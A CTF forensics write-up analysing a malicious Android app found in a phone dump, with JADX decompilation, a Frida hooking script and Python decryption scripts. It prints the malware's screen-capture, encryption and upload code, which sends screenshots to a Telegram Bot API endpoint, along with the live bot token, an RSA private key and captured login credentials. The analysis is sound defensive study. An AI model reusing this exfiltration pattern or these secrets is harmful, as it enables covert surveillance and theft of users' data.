# ITSEC Summit CTF 2025 Quals – HMICast Writeup
I recently participated in the ITSEC Summit CTF 2025 with my team, **frontshots**, and we managed to secure 9th place before final scoreboard freeze. I'm usually a rev player so it was a fun change of pace to solve this hard difficulty forensics challenge (although idk if that's accurate lmao).

## Challenge Overview
### Description
:::info
Several important data has been acquired from an employee's device as an evidence. Dig into the evidence to expose the stealthy actions that went unnoticed.
Attachment: https://drive.google.com/file/d/1w22r2EQCgCOQmM-GhsdvT5jc1tfHePZ4/view?usp=sharing
Password: vJcCvAN7TZIJn9dQ
Notes: This challenge contains real malicious process. Please execute on a safe and controlled environment. We are not responsible for any damages or losses resulting from the use or misuse of this challenge.
Author: BlackBear
:::
We are given a file system dump from an Android device (`/data/data` and `/data/app`). The primary objective is to answer a series of 10 questions that guide the analysis. This involves reverse engineering a malicous app, identifying its C2 infrastructure, and recovering stolen credentials.
## Writeup
### Is the phone rooted?
:::spoiler Answer
`yes`
:::
Because we are given the `/data/data` and `/data/app` directories, this suggests that **yes** the device is either rooted or was dumped using a privileged method. Normally, app-specific directories under `/data/data` are protected by Android's sandboxing and SELinux policies, and cannot be accessed without having root.
### What is the malicous package name?
:::spoiler Answer
`com.itsec.android.hmi`
:::
To identify the malicious package, I began by exploring the contents of the data directory. I listed all directories under `/data/data` using `tree`. This revealed a package with a suspicious-looking name:
```
├─~~t4gZvUr4eEizq9YXxE6PVQ==
│ └─com.itsec.android.hmi-C-csKBxVDuj7Ah_xn3fFKw==
│ ├─lib
│ │ └─arm
│ └─oat
│ └─arm
```
### What is the download link of the malicious package?
:::spoiler Answer
`https://mega.nz/file/uddABYRD#c__klT8jtAiAhKLWNfuOuywoZiRfZfSXqxxryrVslj8`
:::
To trace how the malicious package was downloaded, I examined user browsing behavior. A good starting point was to inspect the Chrome browser history, as Chrome is a commonly used app for downloads.
First, I observed that the Chrome-related folder (`com.android.chrome`) was one of the largest in `/data/data/`. Within this folder, the browsing history is typically stored in an SQLite database located at: `/data/data/com.android.chrome/app_chrome/Default/History`.
I opened the database using [SQLite Viewer](https://inloop.github.io/sqlite-viewer/). Upon inspection of the `urls` table, I found several `MEGA.nz` links.
| id | url | title |
|-----|--------------------------------------------|-------------------------------|
| ... | ... | ... |
| 8 | `http://mega.nz/fm/KFlyWZgS ` | MEGA: Protect your Online Privacy |
| 9 | `https://mega.nz/` |MEGA: Protect your Online Privacy |
| 10 | `https://mega.io/` | MEGA: Protect your Online Privacy |
| 11 | `https://mega.nz/file/uddABYRD#c..` | |
| ... | ... | ... |
One entry stood out as a direct file download link which is the one with the ID of 11
### What is the Android API that attacker use to capture victim's screen?
:::spoiler Answer
`android.media.projection.MediaProjectionManager`
:::
I started by decompiling the malicious APK file using **JADX**. Within the decompiled code, I navigated to the class named `ScreenCaptureService`. This class contained logic related to screen capturing activity on the device. Here are the imports:
```java
package com.itsec.android.hmi;
import I0.c;
import W0.f;
import android.app.Notification;
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.drawable.Icon;
import android.hardware.display.VirtualDisplay;
import android.media.ImageReader;
import android.media.projection.MediaProjection;
import android.media.projection.MediaProjectionManager;
// ...
```
The presence of both MediaProjection and MediaProjectionManager means that the attacker used [Android’s MediaProjection API](https://developer.android.com/reference/android/media/projection/MediaProjectionManager) to start a screen capture session, abusing it to monitor the victim’s activity.
### What is the secretkey for image encryption process?
:::spoiler Answer
`dPGgF7tQlBaGqqmj`
:::
To find the secret key used to encrypt the screenshots, I examined the decompilation again. I found that inside the package `I0`, there is a class named `a`, which is responsible for encrypting image data using AES-CBC.
From the class definition and static fields, I observed the following:
> Decompilation is slightly modified
```java=
public abstract class a {
public static final String AESType = CryptoService$stringfromnative.f1878a.getAES();
public static final String SecretKey = "lBaGqqmj";
public static final String SecretBase64 = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M=";
public static final byte[] f395d;
static {
byte[] bytes = "Cj7pYMR6FqYFKRYi".getBytes(c1.a.f1544a);
f.e(bytes, "this as java.lang.String).getBytes(charset)");
f395d = bytes;
}
public static byte[] a(byte[] bArr) {
byte[] bArr2;
CryptoService$stringfromnative cryptoService$stringfromnative = CryptoService$stringfromnative.f1878a;
String rSAKey = cryptoService$stringfromnative.getRSAKey();
String str = SecretBase64;
f.f(str, "base64Encrypted");
f.f(rSAKey, "privateKeyPEM");
String w02 = l.w0(l.w0(rSAKey, "-----BEGIN RSA PRIVATE KEY-----", ""), "-----END RSA PRIVATE KEY-----", "");
Pattern compile = Pattern.compile("\\s");
f.e(compile, "compile(pattern)");
String replaceAll = compile.matcher(w02).replaceAll("");
f.e(replaceAll, "nativePattern.matcher(in…).replaceAll(replacement)");
PrivateKey generatePrivate = KeyFactory.getInstance("RSA").generatePrivate(new PKCS8EncodedKeySpec(Base64.getDecoder().decode(replaceAll)));
f.e(generatePrivate, "generatePrivate(...)");
Cipher instance = Cipher.getInstance(cryptoService$stringfromnative.getRSA());
instance.init(2, generatePrivate);
byte[] doFinal = instance.doFinal(Base64.getDecoder().decode(str));
f.c(doFinal);
Charset charset = c1.a.f1544a;
String FinalSecretKey = new String(doFinal, charset) + SecretKey;
Cipher instance2 = Cipher.getInstance(AESType);
if (FinalSecretKey != null) {
bArr2 = FinalSecretKey.getBytes(charset);
f.e(bArr2, "this as java.lang.String).getBytes(charset)");
} else {
bArr2 = null;
}
instance2.init(1, new SecretKeySpec(bArr2, "AES"), new IvParameterSpec(f395d));
byte[] doFinal2 = instance2.doFinal(bArr);
f.e(doFinal2, "doFinal(...)");
return doFinal2;
}
}
```
Here’s how the encryption key is constructed:
1. `SecretBase64` contains an RSA-encrypted string.
2. This string is decrypted using a private key (`getRSAKey()`), resulting in a partial AES key.
3. The decrypted value is concatenated with the string `SecretKey = "lBaGqqmj"`.
4. This full string becomes the AES key used to encrypt image data.
So the actual secret key used in the image encryption process is the RSA-decrypted value of `SecretBase64` + ``"lBaGqqmj"``
Because the RSA private key isn’t present in the source (It's in the `native-library.so` file), I used [Frida](https://frida.re/) to hook the runtime method `getRSAKey()` from the `CryptoService$stringfromnative` class. Here is the script that I used.
```javascript=
Java.perform(function() {
try {
console.log("[*] Setting up Java-level hooks as backup...");
var CryptoService = Java.use("com.itsec.android.hmi.CryptoService$stringfromnative");
// Hook getRSAKey at Java level
CryptoService.getRSAKey.implementation = function() {
console.log("[JAVA] getRSAKey() called from Java level");
var result = this.getRSAKey();
console.log("[JAVA] getRSAKey() result: " + result);
return result;
};
// Hook getAES at Java level
CryptoService.getAES.implementation = function() {
console.log("[JAVA] getAES() called from Java level");
var result = this.getAES();
console.log("[JAVA] getAES() result: " + result);
return result;
};
// Hook getRSA at Java level
CryptoService.getRSA.implementation = function() {
console.log("[JAVA] getRSA() called from Java level");
var result = this.getRSA();
console.log("[JAVA] getRSA() result: " + result);
return result;
};
console.log("[+] Java-level hooks installed successfully");
// Try to call methods manually after a delay
setTimeout(function() {
console.log("[*] Attempting to manually trigger crypto methods...");
try {
var instance = CryptoService.f1878a;
if (instance) {
console.log("[*] Singleton instance found, calling methods...");
try {
var rsa = instance.getRSA();
console.log("[MANUAL] getRSA(): " + rsa);
} catch (e) { console.log("[-] getRSA() failed: " + e); }
try {
var aes = instance.getAES();
console.log("[MANUAL] getAES(): " + aes);
} catch (e) { console.log("[-] getAES() failed: " + e); }
try {
var rsaKey = instance.getRSAKey();
console.log("[MANUAL] getRSAKey(): " + rsaKey);
} catch (e) { console.log("[-] getRSAKey() failed: " + e); }
} else {
console.log("[-] Singleton instance not initialized yet");
}
} catch (e) {
console.log("[-] Manual trigger failed: " + e);
}
}, 3000);
} catch (e) {
console.log("[-] Error setting up Java hooks: " + e);
}
});
```
And here is the output:

Now that we have the RSA private key, it should be trivial enough to decrypt it.
```python=
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from pwn import b64d
suffix = b"lBaGqqmj"
rsa = """-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCr3n0mG3OicxP+WJobKvd5RR2/gygPUdZbqYFPYBv2huhjPqte
5AsTRKOoOzYHJmEJTomx/QYicNgUMLY4xLcERyub/QA2bcPn5UqbwFxWMyo6xkaH
iz3qsHs9MGyBAIq82kTzLng81lnr0ZK/jmLhRupuvtEGV1n593RzbyKbcQIDAQAB
AoGADKdHvXt96vLgAPTS+7cRGzuMciIc2+vhhUQYghiIVoEeMNhXU5gkfJmsFuGt
G5+mu0Gt/42qWvTF486mS82nz6hUrXfJaj+iCs3lbWxiH3nZ3BN1w8SVQww6P0qe
x2/y6XBgcg1mRsxhff2DoZO9XQSrz5oedLa6dD+NquKu3gECQQD/eECddJNKUy1Q
8nfbzK1W4lm4ikKBEaTpvQYC6+f+dhn3pKp0Ftz0WoNR1PxbR1xNnQSs+ire7sd/
XNBoqpPhAkEArDnQZG7TT8fTQRXoeqFjW3DKOOEUQwxnp17ly5vCg1yqxoMUeaIl
ic0yU9SE5BvZwdBYMXVLW5mR+Kdl4o/5kQJAAUxOH76w5ObJSykAPOisVM2voQVq
0xcQ3HMubaNfOWbGOQDoMNDQ7JjtI+ROJ/ST3n0Wwf4/a4SRFO+Wy4FaYQJAfR9/
nAe8M8EMZMPC45zur1cxQ8OaUd/oSnuyXYtq9L7VP2Wp8Xhw5z2R67+BUKw/NwTj
ngMGXaUjnNAZQFGzUQJAK1LCkXR8GAZHChVJsXOVfsYUBy+XKkTux4wzP4W/fDf9
YsNCD0BsIG16uq9XKeiFVDRc8epkC2/i5FAMEoxPqQ==
-----END RSA PRIVATE KEY-----
"""
enc = "Ud1PxFTYWLrqDduwBCfbRnbOGT2AasCFObFWPHInhsg9eACzYirAHSaqa9QCmcgrA7aQDVRuOxmYyy5U3h1jLQbCz97cNjEUCVl1Hk6G7L/uOGqCOsp1aabaQ7hBoIVL9E00OMRK7uVtQQgT4CzJZXI1fsLovFG1MBNdENGVE8M="
ciphertext = b64d(enc)
key = RSA.import_key(rsa)
cipher_rsa = PKCS1_v1_5.new(key)
decrypted = cipher_rsa.decrypt(ciphertext, b"error")
print(f'secretkey: {decrypted + suffix}')
```
```
secretkey: b'dPGgF7tQlBaGqqmj'
```
### Where the encrypted image sent to? (application name)
:::spoiler Answer
`Telegram`
:::
After capturing and encrypting a screenshot, the image is uploaded to Telegram using the Bot API. Here's how it works:
It first takes the latest image that is captured and encrypts it using the previous AES-CBC encryption.
```java=
Image acquireLatestImage = imageReader.acquireLatestImage();
...
Bitmap createBitmap = Bitmap.createBitmap(...);
createBitmap.copyPixelsFromBuffer(buffer);
...
createBitmap.compress(Bitmap.CompressFormat.PNG, 100, byteArrayOutputStream);
byte[] byteArray = byteArrayOutputStream.toByteArray();
byte[] a2 = a.a(byteArray); // <-- custom encryption we decompiled before
...
FileOutputStream fileOutputStream = new FileOutputStream(new File(file, str));
fileOutputStream.write(a2);
```
After encryption, the file is saved locally in: `/data/data/com.itsec.android.hmi/files/.logs/log_<timestamp>.enc`
And also sent to the Telegram group:
```java=
String str3 = "https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument";
...
arrayList.add(d.r("chat_id", null, new v(..., "-1002300479215".getBytes(...))));
arrayList.add(d.r("document", name, new u(oVar, file2))); // <-- Encrypted image file
...
fVar.j("POST", qVar); // send multipart/form-data
```
### What is the bot API token?
:::spoiler Answer
`8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q`
:::
From the previously answered question, we found the token from the api link (`https://api.telegram.org/bot8369776437:AAFYoPjexy1-_wdpuCHAjIS4ZW9eJ6B-T0Q/sendDocument`)
### What is the bot username?
>
To find the bot's username, we can use the [Telegram Bot API](https://core.telegram.org/bots/api), specifically the `getMe` endpoint which returns User information about the bot.
Here is the response:
```json
{
"ok": true,
"result": {
"id": 8369776437,
"is_bot": true,
"first_name": "gunters-helper",
"username": "guntershelpsBot",
"can_join_groups": true,
"can_read_all_group_messages": false,
"supports_inline_queries": false,
"can_connect_to_business": false,
"has_main_web_app": false
}
}
```
We can see that the bot's username is `guntershelpsbot`.
### What is the group name and invite link?
:::spoiler Answer
Group name: `mycrib`
Invite link: `https://t.me/+RVvaMCn_f7FmZmFl`
:::
After identifying the Telegram bot username from the API, I then tried searching for the bot (`@guntershelpsbot`) on Telegram.
Upon opening the bot's profile, I noticed that it contained a link to a Telegram group.

Clicking on the link lead to a group named `mycrib` which appeared to be used as a C2 communication channel by the attacker.
### What is the login credential that was captured and sent at this window of time [Tuesday, July 29, 2025 5:26 AM - Tuesday, July 29, 2025 5:30 AM]?
:::spoiler Answer
Username: `operator1337`
Password: `HM1_standin9_Str0nk`
:::
I investigated the encrypted files in the Telegram group that was identified as the C2 channel.

After downloading the encrypted files, I wrote a quick script to decrypt all of the files that were uploaded in that time frame.
```python=
from os import listdir
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
d = "./stuff"
d_res = "./decrypted"
key = b'dPGgF7tQlBaGqqmj'
iv = b'Cj7pYMR6FqYFKRYi'
files = listdir(d) # encrypted files directory
for f in files:
contents = open(d+'/'+f, 'rb').read()
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
decr = unpad(cipher.decrypt(contents), AES.block_size)
with open(d_res + '/dec_' + f + ".png", "wb") as f_out:
f_out.write(decr)
```
One screenshot stood out (`dec_log_1753741684068.enc.png`) as it contains the login credentials:

### Flag
After submitting all the answers, the final flag is revealed.
:::spoiler Flag
```ITSEC{gunt3rs_is_th3_culpr1t_88ebf35eac}```
:::
## Final Thoughts
Overall, I had a great time solving this challenge and I learned a lot from it. Especially since I don't dabble too much on forensics challenges. The reversing parts of this challenge are not too bad (since its not a rev challenge ofc) and I also got to use Frida again after a long time of not doing Android reversing lol.